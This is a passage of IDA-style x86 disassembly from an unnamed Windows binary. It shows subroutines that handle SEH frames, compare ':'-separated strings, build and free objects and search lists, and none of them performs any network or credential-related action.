sub_40147E ; --------------------------------------------------------------------------- inc esi push offset asc_443C84 ; ":" lea eax, [esp+54h+var_3C] push esi push eax lea ecx, [esp+5Ch+arg_0] call sub_4016AE push offset byte_446F60 mov ecx, eax mov byte ptr [esp+54h+var_4], 1 call sub_4012EE lea ecx, [esp+50h+var_3C] mov edi, eax mov byte ptr [esp+50h+var_4], bl call sub_401226 cmp edi, ebx jnz loc_413BF0 loc_413C93: ; CODE XREF: sub_413B70+77j lea ecx, [esp+50h+arg_0] mov [esp+50h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop esi pop ebp pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn 1Ch ; --------------------------------------------------------------------------- loc_413CB9: ; CODE XREF: sub_413B70+26j ; sub_413B70+37j lea ecx, [esp+48h+arg_0] mov [esp+48h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+48h+var_C] pop ebp pop ebx mov large fs:0, ecx add esp, 40h retn 1Ch sub_413B70 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413D40 proc near ; CODE XREF: sub_401F2Dj push esi mov esi, ecx call sub_401424 mov eax, esi pop esi retn sub_413D40 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_413D60: ; CODE XREF: ___:004010F0j mov eax, [esp+8] mov edx, [esp+4] push esi push eax mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+28h], esp push edx call sub_401861 mov ecx, esi call sub_401181 pop esi retn 8 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413DA0 proc near ; CODE XREF: sub_40189Dj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_14 = byte ptr 18h arg_18 = byte ptr 1Ch arg_2C = byte ptr 30h arg_30 = byte ptr 34h arg_44 = byte ptr 48h arg_48 = byte ptr 4Ch arg_5C = byte ptr 60h arg_60 = byte ptr 64h push 0FFFFFFFFh push offset SEH_413DA0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push ebp push esi push edi mov ebp, ecx sub esp, 18h lea eax, [esp+3Ch+arg_30] mov ecx, esp mov [esp+3Ch+var_14], esp push eax mov [esp+40h+var_4], 4 call sub_4014C9 mov ecx, ebp call sub_401CD0 xor ebx, ebx cmp eax, ebx jnz loc_413F8E sub esp, 18h lea edx, [esp+3Ch+arg_0] mov ecx, esp mov [esp+3Ch+var_14], esp push edx call sub_4014C9 mov ecx, ebp call sub_402112 mov edi, eax cmp edi, ebx jz loc_413F8E push edi lea eax, [esp+28h+arg_18] sub esp, 18h mov ecx, esp mov [esp+40h+var_14], esp push eax call sub_4014C9 mov ecx, ebp call sub_4011DB cmp al, bl jz loc_413F8E push offset byte_446F60 lea ecx, [esp+28h+arg_48] call sub_4012EE test eax, eax jz short loc_413E87 lea ecx, [edi+2Ah] call sub_4017E4 lea ecx, [esp+24h+arg_48] mov esi, eax call sub_4017E4 loc_413E56: ; CODE XREF: sub_413DA0+D4j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_413E7A cmp cl, bl jz short loc_413E76 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_413E7A add eax, 2 add esi, 2 cmp cl, bl jnz short loc_413E56 loc_413E76: ; CODE XREF: sub_413DA0+C0j xor eax, eax jmp short loc_413E7F ; --------------------------------------------------------------------------- loc_413E7A: ; CODE XREF: sub_413DA0+BCj ; sub_413DA0+CAj sbb eax, eax sbb eax, 0FFFFFFFFh loc_413E7F: ; CODE XREF: sub_413DA0+D8j cmp eax, ebx jnz loc_413F8E loc_413E87: ; CODE XREF: sub_413DA0+A1j push offset byte_446F60 lea ecx, [esp+28h+arg_60] call sub_4012EE test eax, eax jz short loc_413EE3 lea ecx, [edi+3Fh] call sub_4017E4 lea ecx, [esp+24h+arg_60] mov esi, eax call sub_4017E4 loc_413EB2: ; CODE XREF: sub_413DA0+130j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_413ED6 cmp cl, bl jz short loc_413ED2 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_413ED6 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_413EB2 loc_413ED2: ; CODE XREF: sub_413DA0+11Cj xor eax, eax jmp short loc_413EDB ; --------------------------------------------------------------------------- loc_413ED6: ; CODE XREF: sub_413DA0+118j ; sub_413DA0+126j sbb eax, eax sbb eax, 0FFFFFFFFh loc_413EDB: ; CODE XREF: sub_413DA0+134j cmp eax, ebx jnz loc_413F8E loc_413EE3: ; CODE XREF: sub_413DA0+FAj push 58h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+24h+var_10], eax cmp eax, ebx mov byte ptr [esp+24h+var_4], 5 jz short loc_413F03 mov ecx, eax call sub_401D07 jmp short loc_413F05 ; --------------------------------------------------------------------------- loc_413F03: ; CODE XREF: sub_413DA0+158j xor eax, eax loc_413F05: ; CODE XREF: sub_413DA0+161j mov [esp+24h+var_14], eax mov [eax], edi mov ecx, [esp+24h+var_14] lea eax, [esp+24h+arg_0] push eax add ecx, 4 mov byte ptr [esp+28h+var_4], 4 call sub_40200E mov eax, [esp+24h+var_14] lea edx, [esp+24h+arg_30] push edx lea ecx, [eax+19h] call sub_40200E lea ecx, [esp+24h+var_14] push ecx lea ecx, [ebp+6Ch] call sub_401406 ; --------------------------------------------------------------------------- lea ecx, [esp+28h] mov byte ptr [esp+28h+var_8], 3 call sub_401226 lea ecx, [esp+28h+arg_14] mov byte ptr [esp+28h+var_8], 2 call sub_401226 lea ecx, [esp+28h+arg_2C] mov byte ptr [esp+28h+var_8], 1 call sub_401226 lea ecx, [esp+28h+arg_44] mov byte ptr [esp+28h+var_8], bl call sub_401226 lea ecx, [esp+28h+arg_5C] mov [esp+28h+var_8], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_413FDB ; --------------------------------------------------------------------------- loc_413F8E: ; CODE XREF: sub_413DA0+44j ; sub_413DA0+68j ... lea ecx, [esp+24h+arg_0] mov byte ptr [esp+24h+var_4], 3 call sub_401226 lea ecx, [esp+24h+arg_18] mov byte ptr [esp+24h+var_4], 2 call sub_401226 lea ecx, [esp+24h+arg_30] mov byte ptr [esp+24h+var_4], 1 call sub_401226 lea ecx, [esp+24h+arg_48] mov byte ptr [esp+24h+var_4], bl call sub_401226 lea ecx, [esp+24h+arg_60] mov [esp+24h+var_4], 0FFFFFFFFh call sub_401226 xor al, al loc_413FDB: ; CODE XREF: sub_413DA0+1ECj mov ecx, [esp+24h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 14h retn 78h sub_413DA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414090 proc near ; CODE XREF: sub_401D07j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414090 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_401424 lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_414090 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414120: ; CODE XREF: ___:00401DC0j push 0FFFFFFFFh push offset loc_439C10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+24h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401861 mov edx, [esp+3Ch] sub esp, 18h mov ecx, esp mov [esp+58h], esp push edx mov dword ptr [esp+44h], 0 call sub_401861 mov eax, [esp+50h] sub esp, 18h mov ecx, esp mov [esp+6Ch], esp push eax mov byte ptr [esp+5Ch], 1 call sub_401861 mov edx, [esp+64h] sub esp, 18h mov ecx, esp mov [esp+80h], esp push edx mov byte ptr [esp+74h], 2 call sub_401861 mov eax, [esp+78h] sub esp, 18h mov ecx, esp mov [esp+94h], esp push eax mov byte ptr [esp+8Ch], 3 call sub_401861 mov ecx, esi mov dword ptr [esp+88h], 0FFFFFFFFh call sub_40189D mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 14h ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414210 proc near ; CODE XREF: sub_401537j add ecx, 6Ch jmp sub_401C62 sub_414210 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414230 proc near ; CODE XREF: sub_40137Fj var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414230 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push 60h mov [esp+1Ch+var_4], 3 call sub_4367FA sub_414230 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+8], eax test eax, eax mov byte ptr [esp+14h], 4 jz short loc_414273 mov ecx, eax call sub_401BE0 ; --------------------------------------------------------------------------- jmp short loc_414275 ; --------------------------------------------------------------------------- loc_414273: ; CODE XREF: ___:00414268j xor eax, eax loc_414275: ; CODE XREF: ___:00414271j lea ecx, [esp+1Ch] mov byte ptr [esp+14h], 3 push ecx mov ecx, eax mov [esp+8], eax call sub_40200E mov eax, [esp+4] lea edx, [esp+34h] push edx lea ecx, [eax+15h] call sub_40200E mov edx, [esp+4] lea ecx, [esp+4Ch] push ecx lea ecx, [edx+2Ah] call sub_40200E mov ecx, [esp+4] lea eax, [esp+64h] push eax add ecx, 3Fh call sub_40200E lea edx, [esp+4] lea ecx, [esi+60h] push edx call sub_401EF1 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov byte ptr [esp+14h], 2 call sub_401226 lea ecx, [esp+34h] mov byte ptr [esp+14h], 1 call sub_401226 lea ecx, [esp+4Ch] mov byte ptr [esp+14h], 0 call sub_401226 lea ecx, [esp+64h] mov dword ptr [esp+14h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0Ch] pop esi mov large fs:0, ecx add esp, 14h retn 60h ; --------------------------------------------------------------------------- db 9 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414360 proc near ; CODE XREF: sub_401BE0j var_11 = byte ptr -11h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414360 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_401424 lea ecx, [esi+15h] mov [esp+18h+var_4], 0 call sub_401424 lea ecx, [esi+2Ah] mov byte ptr [esp+18h+var_4], 1 call sub_401424 lea ecx, [esi+3Fh] mov byte ptr [esp+18h+var_4], 2 call sub_401424 lea eax, [esp+18h+var_11] lea ecx, [esi+54h] push eax mov byte ptr [esp+1Ch+var_4], 3 call sub_40132A sub_414360 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414400: ; CODE XREF: ___:004010FAj push 0FFFFFFFFh push offset loc_439CD8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+20h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401861 mov edx, [esp+38h] sub esp, 18h mov ecx, esp mov [esp+54h], esp push edx mov dword ptr [esp+44h], 0 call sub_401861 mov eax, [esp+4Ch] sub esp, 18h mov ecx, esp mov [esp+68h], esp push eax mov byte ptr [esp+5Ch], 1 call sub_401861 mov edx, [esp+60h] sub esp, 18h mov ecx, esp mov [esp+7Ch], esp push edx mov byte ptr [esp+74h], 2 call sub_401861 mov ecx, esi mov dword ptr [esp+70h], 0FFFFFFFFh call sub_40137F ; --------------------------------------------------------------------------- mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 10h ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4144D0 proc near ; CODE XREF: sub_401DACj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_4144D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi lea ecx, [esp+18h+var_14] mov [esp+18h+var_4], 0 mov [esp+18h+var_10], 0 call sub_401E1F mov eax, [esp+18h+arg_18] lea ecx, [esp+18h+arg_18] push ecx lea esi, [eax+54h] mov ecx, esi call sub_4012E9 mov edx, [eax] lea eax, [esp+18h+arg_18] push eax mov ecx, esi mov [esp+1Ch+var_14], edx call sub_401D89 push eax lea ecx, [esp+1Ch+var_14] call sub_401D5C test al, al jz short loc_414580 loc_414535: ; CODE XREF: sub_4144D0+AEj lea ecx, [esp+18h+arg_0] push ecx lea ecx, [esp+1Ch+var_14] call sub_401FA5 mov ecx, [eax] call sub_401B72 test eax, eax jnz short loc_41455D lea ecx, [esp+18h+var_14] call sub_401FA5 mov edx, [eax] mov [esp+18h+var_10], edx loc_41455D: ; CODE XREF: sub_4144D0+7Cj lea ecx, [esp+18h+var_14] call sub_4020A4 lea eax, [esp+18h+arg_18] mov ecx, esi push eax call sub_401D89 push eax lea ecx, [esp+1Ch+var_14] call sub_401D5C test al, al jnz short loc_414535 loc_414580: ; CODE XREF: sub_4144D0+63j mov eax, [esp+18h+var_10] test eax, eax jz short loc_4145C8 lea ecx, [esp+18h+var_10] push ecx mov ecx, esi call sub_401258 mov ecx, [esp+18h+var_10] test ecx, ecx jz short loc_4145A3 push 1 call sub_4019DD loc_4145A3: ; CODE XREF: sub_4144D0+CAj lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 1Ch ; --------------------------------------------------------------------------- loc_4145C8: ; CODE XREF: sub_4144D0+B6j lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 14h retn 1Ch sub_4144D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414640 proc near ; CODE XREF: sub_4019DDj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_402220 test [esp+4+arg_0], 1 jz short loc_414658 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_414658: ; CODE XREF: sub_414640+Dj mov eax, esi pop esi retn 4 sub_414640 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_414670 proc near ; CODE XREF: sub_402220j jmp sub_401226 sub_414670 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_414690: ; CODE XREF: ___:00401276j push 0FFFFFFFFh push offset loc_439D20 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi push edi mov ebp, ecx xor ebx, ebx push offset asc_443C84 ; ":" lea eax, [esp+1Ch] push ebx push eax lea ecx, [esp+4Ch] mov [esp+44h], ebx mov byte ptr [esp+1Fh], 1 xor esi, esi call sub_4016AE push offset byte_446F60 mov ecx, eax mov byte ptr [esp+3Ch], 1 call sub_4012EE lea ecx, [esp+18h] mov edi, eax mov [esp+38h], bl call sub_401226 cmp edi, ebx jz short loc_414759 loc_4146F3: ; CODE XREF: ___:00414757j mov ecx, [esp+58h] push ecx lea ecx, [esp+44h] sub esp, 18h mov edx, esp mov [esp+30h], esp push offset asc_443C84 ; ":" push esi push edx call sub_4016AE mov ecx, ebp call sub_401DAC cmp al, bl jnz short loc_414720 mov [esp+13h], bl loc_414720: ; CODE XREF: ___:0041471Aj inc esi push offset asc_443C84 ; ":" lea eax, [esp+1Ch] push esi push eax lea ecx, [esp+4Ch] call sub_4016AE push offset byte_446F60 mov ecx, eax mov byte ptr [esp+3Ch], 1 call sub_4012EE lea ecx, [esp+18h] mov edi, eax mov [esp+38h], bl call sub_401226 cmp edi, ebx jnz short loc_4146F3 loc_414759: ; CODE XREF: ___:004146F1j lea ecx, [esp+40h] mov dword ptr [esp+38h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+30h] mov al, [esp+13h] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 2Ch retn 1Ch ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4147D0 proc near ; CODE XREF: sub_40210Dj var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_4147D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+1Ch+arg_0] mov [esp+1Ch+var_4], 1 call sub_4017E4 test eax, eax jz loc_414904 lea ecx, [esp+1Ch+var_18] mov [esp+1Ch+var_14], 0 call sub_402252 add esi, 6Ch lea eax, [esp+1Ch+var_10] push eax mov ecx, esi call sub_4018F2 mov ecx, [eax] lea edx, [esp+1Ch+var_10] mov [esp+1Ch+var_18], ecx push edx mov ecx, esi call sub_40114A push eax lea ecx, [esp+20h+var_18] call sub_401339 test al, al jz short loc_4148AE loc_414844: ; CODE XREF: sub_4147D0+DCj lea eax, [esp+1Ch+arg_0] lea ecx, [esp+1Ch+var_18] push eax call sub_40135C mov ecx, [eax] add ecx, 4 call sub_401B72 test eax, eax jz short loc_41487C lea ecx, [esp+1Ch+arg_18] push ecx lea ecx, [esp+20h+var_18] call sub_40135C mov ecx, [eax] add ecx, 19h call sub_401B72 test eax, eax jnz short loc_41488B loc_41487C: ; CODE XREF: sub_4147D0+8Ej lea ecx, [esp+1Ch+var_18] call sub_40135C mov edx, [eax] mov [esp+1Ch+var_14], edx loc_41488B: ; CODE XREF: sub_4147D0+AAj lea ecx, [esp+1Ch+var_18] call sub_40118B lea eax, [esp+1Ch+var_10] mov ecx, esi push eax call sub_40114A push eax lea ecx, [esp+20h+var_18] call sub_401339 test al, al jnz short loc_414844 loc_4148AE: ; CODE XREF: sub_4147D0+72j mov eax, [esp+1Ch+var_14] test eax, eax jz short loc_414904 lea ecx, [esp+1Ch+var_14] push ecx mov ecx, esi call sub_402130 mov ecx, [esp+1Ch+var_14] test ecx, ecx jz short loc_4148D1 push 1 call sub_4016FE loc_4148D1: ; CODE XREF: sub_4147D0+F8j lea ecx, [esp+1Ch+arg_0] mov byte ptr [esp+1Ch+var_4], 0 call sub_401226 lea ecx, [esp+1Ch+arg_18] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+18h+var_C] mov large fs:0, ecx add esp, 18h retn 30h ; --------------------------------------------------------------------------- loc_414904: ; CODE XREF: sub_4147D0+2Ej ; sub_4147D0+E4j lea ecx, [esp+1Ch+arg_0] mov byte ptr [esp+1Ch+var_4], 0 call sub_401226 lea ecx, [esp+1Ch+arg_18] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 30h sub_4147D0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4149A0 proc near ; CODE XREF: sub_4016FEj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A5A test [esp+4+arg_0], 1 jz short loc_4149B8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_4149B8: ; CODE XREF: sub_4149A0+Dj mov eax, esi pop esi retn 4 sub_4149A0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4149D0 proc near ; CODE XREF: sub_401A5Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4149D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+43h] mov [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4149D0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414A60: ; CODE XREF: ___:004013B1j push 0FFFFFFFFh push offset loc_439D98 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+18h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401861 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+4Ch], esp push edx mov dword ptr [esp+44h], 0 call sub_401861 mov ecx, esi mov dword ptr [esp+40h], 0FFFFFFFFh call sub_40210D mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414AF0: ; CODE XREF: ___:00401B31j push 0FFFFFFFFh push offset loc_439DB8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+20h] mov dword ptr [esp+18h], 0 call sub_4017E4 test eax, eax jz loc_414BF7 lea ecx, [esp+4] mov dword ptr [esp+8], 0 call sub_401037 add esi, 60h lea eax, [esp+0Ch] push eax mov ecx, esi call sub_401983 mov ecx, [eax] lea edx, [esp+0Ch] mov [esp+4], ecx push edx mov ecx, esi call sub_402234 push eax lea ecx, [esp+8] call sub_401AD7 test al, al jz short loc_414BAF loc_414B64: ; CODE XREF: ___:00414BADj lea eax, [esp+20h] lea ecx, [esp+4] push eax call sub_4011D1 mov ecx, [eax] call sub_401B72 test eax, eax jnz short loc_414B8C lea ecx, [esp+4] call sub_4011D1 mov ecx, [eax] mov [esp+8], ecx loc_414B8C: ; CODE XREF: ___:00414B7Bj lea ecx, [esp+4] call sub_4018B6 lea edx, [esp+0Ch] mov ecx, esi push edx call sub_402234 push eax lea ecx, [esp+8] call sub_401AD7 test al, al jnz short loc_414B64 loc_414BAF: ; CODE XREF: ___:00414B62j mov eax, [esp+8] test eax, eax jz short loc_414BF7 lea eax, [esp+8] mov ecx, esi push eax call sub_401154 mov ecx, [esp+8] test ecx, ecx jz short loc_414BD2 push 1 call sub_4011C7 ; --------------------------------------------------------------------------- loc_414BD2: ; CODE XREF: ___:00414BC9j lea ecx, [esp+20h] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+0Ch] mov large fs:0, ecx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_414BF7: ; CODE XREF: ___:00414B1Ej ; ___:00414BB5j lea ecx, [esp+20h] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+10h] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 18h ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414C70 proc near ; CODE XREF: sub_4011C7j push esi mov esi, ecx call sub_401B45 sub_414C70 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_414C88 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_414C88: ; CODE XREF: ___:00414C7Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414CA0 proc near ; CODE XREF: sub_401B45j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414CA0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+54h] mov [esp+14h+var_4], 3 call sub_401578 sub_414CA0 endp ; --------------------------------------------------------------------------- lea ecx, [esi+3Fh] mov byte ptr [esp+10h], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+10h], 0 call sub_401226 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414D40 proc near ; CODE XREF: sub_4014BFj var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_414D40 push eax mov large fs:0, esp sub esp, 40h push ebx push esi mov esi, [esp+54h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+32h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_414E3B sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+70h+arg_0], esp push eax call sub_4014C9 sub esp, 18h mov [esp+88h+var_4], 0 mov ecx, esp mov [esp+88h+var_4C], esp push offset byte_446F60 call sub_401861 or ebx, 0FFFFFFFFh mov ecx, offset word_448C8E mov [esp+88h+var_4], ebx call sub_40210D test al, al jz loc_414F70 push 0 push 5 push 19h push 2 push 4 push 0Fh push 0Fh lea ecx, [esp+74h+var_3C] push 21h push ecx call sub_4019B5 add esp, 24h mov edi, eax lea ecx, [esi+69h] mov [esp+58h+var_4], 1 call sub_4014D3 push eax mov ecx, edi call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+58h+var_3C] mov [esp+58h+var_4], ebx call sub_401226 mov al, 1 mov ecx, [esp+58h+var_C] mov large fs:0, ecx pop edi pop esi pop ebx add esp, 4Ch retn 4 ; --------------------------------------------------------------------------- loc_414E3B: ; CODE XREF: sub_414D40+36j lea ecx, [edi+4] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_414F70 sub esp, 18h lea edx, [esi+54h] mov ecx, esp mov [esp+70h+arg_0], esp push edx call sub_4014C9 sub esp, 18h lea eax, [esi+3Fh] mov ecx, esp mov [esp+88h+var_4C], esp push eax mov [esp+8Ch+var_4], 2 call sub_4014C9 sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0A0h+var_48], esp push edx mov byte ptr [esp+0A4h+var_4], 3 call sub_4014C9 sub esp, 18h mov ecx, esi mov eax, esp mov [esp+0B8h+var_44], esp push 1 push offset asc_443600 ; " " push 2 push eax mov byte ptr [esp+0C8h+var_4], 4 call sub_4011EA sub esp, 18h mov byte ptr [esp+0D0h+var_4], 5 mov ecx, esp mov [esp+0D0h+var_40], esp push 1 push offset asc_443600 ; " " push 1 push ecx mov ecx, esi call sub_4011EA or ebx, 0FFFFFFFFh mov ecx, offset word_448C8E mov [esp+0D0h+var_4], ebx call sub_40189D test al, al jz short loc_414F70 push 0 push 4 push 5 push 14h push 10h push 5 push 3 push 3 lea edx, [esp+78h+var_24] push 1Bh push edx call sub_4019B5 add esp, 28h mov edi, eax lea ecx, [esi+69h] mov [esp+58h+var_4], 6 call sub_4014D3 push eax mov ecx, edi call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+58h+var_24] mov [esp+58h+var_4], ebx call sub_401226 mov al, 1 mov ecx, [esp+58h+var_C] mov large fs:0, ecx pop edi pop esi pop ebx add esp, 4Ch retn 4 ; --------------------------------------------------------------------------- loc_414F70: ; CODE XREF: sub_414D40+82j ; sub_414D40+10Dj ... mov ecx, [esp+58h+var_C] pop edi pop esi xor al, al mov large fs:0, ecx pop ebx add esp, 4Ch retn 4 sub_414D40 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_415030 proc near ; CODE XREF: sub_40132Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401EBA sub_415030 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; 